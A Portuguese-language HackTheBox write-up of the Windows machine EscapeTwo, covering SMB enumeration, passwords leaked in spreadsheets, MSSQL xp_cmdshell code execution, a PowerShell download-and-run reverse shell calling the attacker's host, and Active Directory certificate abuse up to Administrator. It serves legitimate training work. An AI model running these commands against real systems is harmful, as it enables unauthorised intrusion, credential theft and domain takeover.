> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# Resolução da máquina EscapeTwo do HackTheBox

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração SMB
* Vazamento de senha de informações (zip, arquivo Excel)
* Exploração RCE do MSSQL (Microsoft SQL)
* Enumeração BloodHound
* Usuário WriteOwner CA/\_SVC (elevação de privilégio)
  {% endhint %}

Neste teste de penetração em ambiente Windows, temos as seguintes credenciais:

* nome de usuário: `rose`
* senha: `KxEPkKe6R8su`

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/86b855b76fd3b50898a908a2807c2960988c1ae2" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/86b855b76fd3b50898a908a2807c2960988c1ae2" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="/files/d59656c2531849c89e139aead47b55780c28d14e" alt=""><figcaption></figcaption></figure>

**Análise de portas abertas com extractPorts:**

Usando a função extractPorts para exibir de forma concisa as portas abertas e copiá-las para a `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` área de transferência

<figure><img src="/files/406d54e241a989bf7854b621ecc37a4b2942bf7f" alt=""><figcaption></figcaption></figure>

Varredura de versão de portas com Nmap:

Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="/files/4a1e8afc5ede29a36677333bb0bac63585c9e942" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5cc3c4319a38b236de7ac253137e7e72a908c96c" alt=""><figcaption></figcaption></figure>

Para resolver nomes de domínio em endereços IP via DNS, o nome de domínio associado ao seu endereço IP é inserido no `/etc/hosts` arquivo:

<figure><img src="/files/f3f139ca60ca03e02e65b76274ff22319e761674" alt="" width="563"><figcaption></figcaption></figure>

### Porta 445 - SMB

**Validar o usuário com o CrackMapExec**

Confirmamos que o `rose` usuário existe no controlador de domínio (DC):

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="/files/185a16b10c980b2ff3a6e2668239a559b0b8c982" alt=""><figcaption></figcaption></figure>

**Exploração de compartilhamentos SMB**

Listamos os compartilhamentos acessíveis com o `--shares` comando:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**Resultado**: Duas pastas interessantes ficam visíveis:

* `Users`
* `Departamento de Contabilidade`

<figure><img src="/files/eeae9635d02792af21aa7f1fc3f63dd198835bfc" alt=""><figcaption></figcaption></figure>

/*/* Conectar ao compartilhamento SMB com smbclient/*/*

Acessamos **Departamento de Contabilidade**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

Neste diretório, recuperamos dois arquivos Excel:

```powershell
get accounting_2024.xlsx
get accounts.xlsx
```

<figure><img src="/files/a0cb3a0cedc0400b90f1c0198af147ab3b19a77b" alt=""><figcaption></figcaption></figure>

**Identificação do formato do arquivo**

Com a `arquivo` comando, determinamos que esses arquivos são na verdade arquivos ZIP.

<figure><img src="/files/a5a14c7e14eb5d5f2be449af6624a20ef0ffe2ed" alt=""><figcaption></figcaption></figure>

**Extração de arquivo ZIP**

Descompactamos os arquivos recuperados:

<figure><img src="/files/a20823f55f32e4d74e7862ad988f68da5f31dd0c" alt=""><figcaption></figcaption></figure>

**Buscar informações sensíveis**

Filtramos os arquivos extraídos para encontrar informações contendo a palavra-chave **senha**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="/files/ea5f8d1da16296fb0acb6e4efd6f1c5254ccdb55" alt=""><figcaption></figcaption></figure>

**Resultado**: Um arquivo chamado `shareStrings.xml` contém uma lista de usuários e senhas.

<img src="/files/b3d424cd050a217047177d0d23ff64010bf93666" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">Nome</th><th width="135">Sobrenome</th><th width="174">E-mail</th><th width="107">Nome de usuário</th><th>Senha</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**Testar IDs com CrackMapExec**

Usamos as credenciais recuperadas para validar as contas:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**Resultado**: Apenas o `oscar` o usuário é válido.

<figure><img src="/files/ea48a1ac328a22fafa8ae3aacd54e94890227153" alt=""><figcaption></figcaption></figure>

## Exploração do MSSQL (Microsoft SQL)

**Porta 1433 (MSSQL)**

A porta 1433 está aberta, o que indica que há um servidor Microsoft SQL em execução. Vamos testar as conexões com os diferentes usuários recuperados anteriormente.

<figure><img src="/files/8835c3b327334cb05c41d9380f17a725862f9760" alt=""><figcaption></figcaption></figure>

**Teste de conexão MSSQL**

Usamos `mssqlclient.py` para tentar se conectar:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="/files/fcabd717553ae249a2cdb27d380c1d117170bfb7" alt=""><figcaption></figcaption></figure>

**Resultado**: Apenas o usuário `sa` funciona.

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="/files/466c74f4b0b39317bc9e3541cd41035a2b172288" alt=""><figcaption></figcaption></figure>

### Reverse shell via MSSQL

**Ativar execução de comandos**

Para executar comandos do sistema, ativamos `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

Em seguida, testamos com um comando simples, como `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="/files/df0d465261b4370cad4fafe9e27d658a6bba8f92" alt=""><figcaption></figcaption></figure>

**Preparação do listener em nossa máquina**

Estamos iniciando um listener na porta 4444:

```bash
rlwrap nc -nvlp 4444
```

**Baixar um script PowerShell**

Estamos preparando um script PowerShell chamado `PS.ps1` que inclui um comando de reverse shell. No final do script, adicionamos a seguinte linha:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

No final do script, adicionamos a seguinte linha:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

Hospedamos este script em um servidor web local:

```bash
python3 -m http.server 80
```

**Execução da reverse shell**

A partir do servidor MSSQL, executamos o seguinte comando para baixar e executar o script PowerShell:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="/files/440bf9ba9b9872912125529dedbacb54c3c64ee5" alt=""><figcaption></figcaption></figure>

## Pivotando para o usuário Ryan

**Novas credenciais descobertas**

Ao explorar o sistema, descobrimos um diretório chamado **SQL2019** na raiz. Dentro dele, encontramos as seguintes credenciais:

* Usuário : `ryan`
* Senha: `WqSZAF6CysDQbGb3`

<figure><img src="/files/62b667c372fa6e24b21ab61c5ed0b82c64d49f33" alt=""><figcaption></figcaption></figure>

**Validação de IDs com CrackMapExec**

Verificamos se essas credenciais são válidas:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/85632b6572bc238ae09f91b745715a7e1ab1441f" alt=""><figcaption></figcaption></figure>

Ao explorar diretórios compartilhados, identificamos um usuário chamado `ryan`. Testamos as mesmas credenciais que para `sql_svc`:

<figure><img src="/files/2d8ee33ad014eab40e72a327bbb814836726cf3b" alt=""><figcaption></figcaption></figure>

**Resultado**: As credenciais também funcionam para o usuário `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/63f512b0f28713bd173aa53a23957a69582254c9" alt=""><figcaption></figcaption></figure>

Evil-winrm

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="/files/538b0ecfed8ee19432b81da7b23a6d711f5ded95" alt=""><figcaption></figcaption></figure>

### Flag user.txt :)

<figure><img src="/files/4eb392b742d21069b38eca70519bc6d9f82a154a" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios

### Enumeração com BloodHound-python

Comando usado:

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="/files/0820848a0c8058c5b224693c76fc41de5bdf9a44" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**Observação :**/ O **Ryan** usuário tem a `WriteOwner` permissão no **CA/ SVC** conta, que também é a emissora do certificado. Isso significa que podemos modificar o proprietário da conta **CA/ SVC** para associar **Ryan**.

<figure><img src="/files/ff30691cee4cbb17560a1931da19c79321b96258" alt=""><figcaption></figcaption></figure>

### Assumir controle de CA/\_SVC com BloodyAD

#### Alteração do proprietário da conta

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

O comando usa o BloodyAD para modificar o proprietário de **CA/ SVC** e defini-lo em **Ryan**. Como proprietário, **Ryan** agora pode alterar as autoridades associadas à conta.

### Modificar permissões com Dacledit

#### Conceder permissão total ao Ryan

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

Este comando modifica a **DACL** (Lista de Controle de Acesso Discricionário) da **CA/ SVC** conta para conceder controle total a **Ryan**. Isso permite que Ryan redefina a senha ou manipule chaves de autenticação.

<figure><img src="/files/0cb8580bf63eff31cb2d7f803a3c27b1ba3c1c40" alt=""><figcaption></figcaption></figure>

### Extração de Shadow Credentials

#### Gerar e recuperar o hash NT

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/98921ae0a217ea8a67eef71da4b7bfd532a5eb41" alt=""><figcaption></figcaption></figure>

Hash NT para **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

O **Certipy** comando gera uma chave de identificação para **CA/ SVC**, permitindo autenticação baseada em certificado. Um arquivo `.ccache` também é gerado, o que facilita ataques baseados em Kerberos.

### Modificação do modelo de certificado

#### Ajustar o modelo DunderMifflinAuthentication

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="/files/79e8299133bb11218ff0f6769f30df7c14e62517" alt=""><figcaption></figcaption></figure>

Este comando modifica a **DunderMifflinAuthentication** modelo de certificado para permitir a emissão de certificados com privilégios elevados.

### Emissão de um certificado para o administrador

#### Solicitar um certificado para personificação

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="/files/a84f72efad656293b5f26702e07730fdda9988ff" alt=""><figcaption></figcaption></figure>

Este comando requer um certificado em nome do Administrador (`Administrator@sequel.htb`), permitindo usurpar a identidade dessa conta.

### Autenticação como Administrador

#### Uso do certificado para autenticação

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="/files/c409ab046368dd404aa9b186c40c171522c44c8f" alt=""><figcaption></figcaption></figure>

**Hash NTLMv2 :** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="/files/00de0b4082abe7b6c649f6aa94971cb9dabba067" alt=""><figcaption></figcaption></figure>

Este comando autentica como Administrador com o certificado obtido anteriormente e recupera o hash NTLM.

### Flag root.txt :)

<figure><img src="/files/e5a7cc5d08dbf24b19eb23d39995eec48d9756fc" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ca4e3684aa3c6b6acb8c7e8c90f65356a40414c0" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
